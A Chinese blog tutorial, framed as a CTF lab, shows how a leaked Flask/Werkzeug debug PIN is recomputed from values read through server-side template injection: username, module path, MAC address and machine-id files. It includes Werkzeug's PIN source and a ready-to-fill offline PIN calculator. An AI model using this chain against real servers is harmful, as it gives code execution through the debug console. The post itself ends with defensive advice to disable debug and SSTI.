Python-Flask框架(六),如果在生產環境裏Debug和SSTI在偷偷幽會會發生什麼?
前言
實驗環境
Ubuntu16.04
Win10
Python
項目Demo
https://github.com/99kies/pinflask
如果flask框架中有ssti的點,那我們就可以進行ssti注入,開啓debug模式獲取pin得到後臺,session僞造啊等等,這裏想介紹的是當這個debug和ssti出現的時候會出現什麼樣不一樣的火花。
Flask中Debug的功能
如何開啓Debug模式
- 在代碼文件中添加debug=True
#####
etc.
#####
if __name__ == "__main__":
app.run(debug=True)
首先在配置文件中寫入Debug=True
然後在程序中引入配置文件
set FLASK_DEBUG=1
flask run
Debug的功能
代碼demo
from flask import Flask
app = Flask(__name__)
@app.route("/")
def index():
a = 1/0 # 這裏有一個明顯的錯誤!
return a
if __name__ == '__main__':
app.run(host="0.0.0.0", port=80, debug=True)
在本地運行這串demo
當訪問127.0.0.1的時候
通過Pin碼進入控制檯
tips:另外有一個小插曲,如果你開啓多線程,那麼debug會佔用一個線程,這會導致服務端需要保存文件的時候就會報錯(權限不夠),關閉debug模式就能成功寫入文件了。
Flask是如何生成Pin的
Pin是一個固定的值,我覺得沒有必要關注或者花費精力和資源在加密pin的算法上,因爲這個dubug是開發環境裏的工具,在生產環境裏是切不可使用debug=True這個功能的,我們只要做到上線服務的時候關閉debug模式即可。
加密pin的函數位置
/usr/local/lib/python3.5/dist-packages/werkzeug/debug/__init__.py
# 此處以ubuntu16.04-python3.5環境爲例,具體情況還需以你的python包路徑的地址爲準
就在包路徑下的debug文件中
查看源碼
def get_machine_id():
global _machine_id
rv = _machine_id
if rv is not None:
return rv
def _generate():
# docker containers share the same machine id, get the
# container id instead
try:
with open("/proc/self/cgroup") as f:
value = f.readline()
except IOError:
pass
else:
value = value.strip().partition("/docker/")[2]
if value:
return value
# Potential sources of secret information on linux. The machine-id
# is stable across boots, the boot id is not
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
try:
with open(filename, "rb") as f:
return f.readline().strip()
except IOError:
continue
# On OS X we can use the computer's serial number assuming that
# ioreg exists and can spit out that information.
try:
# Also catch import errors: subprocess may not be available, e.g.
# Google App Engine
# See https://github.com/pallets/werkzeug/issues/925
from subprocess import Popen, PIPE
dump = Popen(
["ioreg", "-c", "IOPlatformExpertDevice", "-d", "2"], stdout=PIPE
).communicate()[0]
match = re.search(b'"serial-number" = <([^>]+)', dump)
if match is not None:
return match.group(1)
except (OSError, ImportError):
pass
# On Windows we can use winreg to get the machine guid
wr = None
try:
import winreg as wr
except ImportError:
try:
import _winreg as wr
except ImportError:
pass
if wr is not None:
try:
with wr.OpenKey(
wr.HKEY_LOCAL_MACHINE,
"SOFTWARE\\Microsoft\\Cryptography",
0,
wr.KEY_READ | wr.KEY_WOW64_64KEY,
) as rk:
machineGuid, wrType = wr.QueryValueEx(rk, "MachineGuid")
if wrType == wr.REG_SZ:
return machineGuid.encode("utf-8")
else:
return machineGuid
except WindowsError:
pass
_machine_id = rv = _generate()
return rv
def get_pin_and_cookie_name(app):
"""Given an application object this returns a semi-stable 9 digit pin
code and a random key. The hope is that this is stable between
restarts to not make debugging particularly frustrating. If the pin
was forcefully disabled this returns `None`.
Second item in the resulting tuple is the cookie name for remembering.
"""
pin = os.environ.get("WERKZEUG_DEBUG_PIN")
rv = None
num = None
# Pin was explicitly disabled
if pin == "off":
return None, None
# Pin was provided explicitly
if pin is not None and pin.replace("-", "").isdigit():
# If there are separators in the pin, return it directly
if "-" in pin:
rv = pin
else:
num = pin
modname = getattr(app, "__module__", app.__class__.__module__)
try:
# getuser imports the pwd module, which does not exist in Google
# App Engine. It may also raise a KeyError if the UID does not
# have a username, such as in Docker.
username = getpass.getuser()
except (ImportError, KeyError):
username = None
mod = sys.modules.get(modname)
# This information only exists to make the cookie unique on the
# computer, not as a security feature.
probably_public_bits = [
username,
modname,
getattr(app, "__name__", app.__class__.__name__),
getattr(mod, "__file__", None),
]
# This information is here to make it harder for an attacker to
# guess the cookie name. They are unlikely to be contained anywhere
# within the unauthenticated debug page.
private_bits = [str(uuid.getnode()), get_machine_id()]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, text_type):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
cookie_name = "__wzd" + h.hexdigest()[:20]
# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
if num is None:
h.update(b"pinsalt")
num = ("%09d" % int(h.hexdigest(), 16))[:9]
# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
return rv, cookie_name
get_machine_id() #用來計算machine-id
get_pin_and_cookie_name(app) #計算出Pin的代碼
通過get_pin_and_cookie_name(app)我們即可知道,只要給函數提供數據即可,而且這些數據我們也可以手動填寫
需要的值 |
---|
username -> (whoami) |
modname |
getattr(app, “name”, app.class.name) |
getattr(mod, “file”, None) |
machine-id |
mac地址 |
tips:
需要注意的是 machine-id的值。get_machine_id()函數是用來計算,加密過程中所需的machine-id值。那主要是啥情況呢。
- 如果是Linux裸機運行flask服務,那machine-id就是/etc/machine-id的值
- 如果是docker啓動服務,machine-id可能是/proc/self/cgroup,也可能是/proc/sys/kernel/random/boot_id+/proc/self/cgroup
2.1 docker容器共享相同的機器id,而獲取容器id,machine-id爲
/porc/self/cgroup
容器實現隔離機制介紹
隔離機制共有兩種可用
- Linux命名空間,它使每個進程只看到它自己的系統視圖(文件,進程,網絡接口,主機名等);
- Linux控制組(cgroups),它限制了進程能使用的資源量(CPU,內存,網絡帶寬等)
Python-Flask框架,如果在生產環境裏Debug和SSTI偷偷幽會會發生什麼?
復現漏洞項目,並搭建測試平臺
實驗測試
項目demo https://github.com/99kies/pinflask
git clone https://github.com/99kies/pinflask
cd pinflask
docker build -t pinflask .
docker run -id -p 5000:5000 --name pinflask pinflask
ps:至此完成復現CTF漏洞題目,通過5000端口即可訪問服務
Debug + SSTI == “得到後臺”
通過get_pin_and_cookie_name(app)計算出Pin即可
獲取所需要的信息即可
需要的值 | 相關文件地址 |
---|---|
username -> (whoami) | /etc/passwd |
modname | |
getattr(app, “name”, app.class.name) | |
getattr(mod, “file”, None) | |
machine-id | /etc/machine-id,/proc/sys/kernel/random/boot_id,/proc/self/cgroup |
mac地址 | /sys/class/net/eth0/address |
只要通過ssti獲取到這些信息就可以計算出pin碼
完善本地計算pin碼Code
import hashlib
from itertools import chain
def get_pin():
pin = ''
rv = None
num = None
# This information only exists to make the cookie unique on the
# computer, not as a security feature.
# probably_public_bits = [
# username,
# modname,
# getattr(app, "__name__", app.__class__.__name__),
# getattr(mod, "__file__", None),
# ]
probably_public_bits = [
'root', # 運行時的用戶名 whoami
'flask.app',
'Flask',
'/usr/local/lib/python3.5/site-packages/flask/app.py' # 運行當前python的flask包地址
]
# This information is here to make it harder for an attacker to
# guess the cookie name. They are unlikely to be contained anywhere
# within the unauthenticated debug page.
# private_bits = [str(uuid.getnode()), get_machine_id()]
private_bits = [
'xxxxxxxxxxx', # /sys/class/net/eth0/address, str(uuid.getnode())
'xxxxxxxxxxxxxxxxxxxxxxx' # get_machine_id()
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
if num is None:
h.update(b"pinsalt")
num = ("%09d" % int(h.hexdigest(), 16))[:9]
# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
return rv
print(get_pin())
通過SSTI獲得到具體內容,再通過get_pin()
有危險就要有防範
請在生產環境下和Debug說再見,當然SSTI更要說再見
關於Flask SSTI原理和防範請參考
https://blog.csdn.net/qq_19381989/article/details/103175728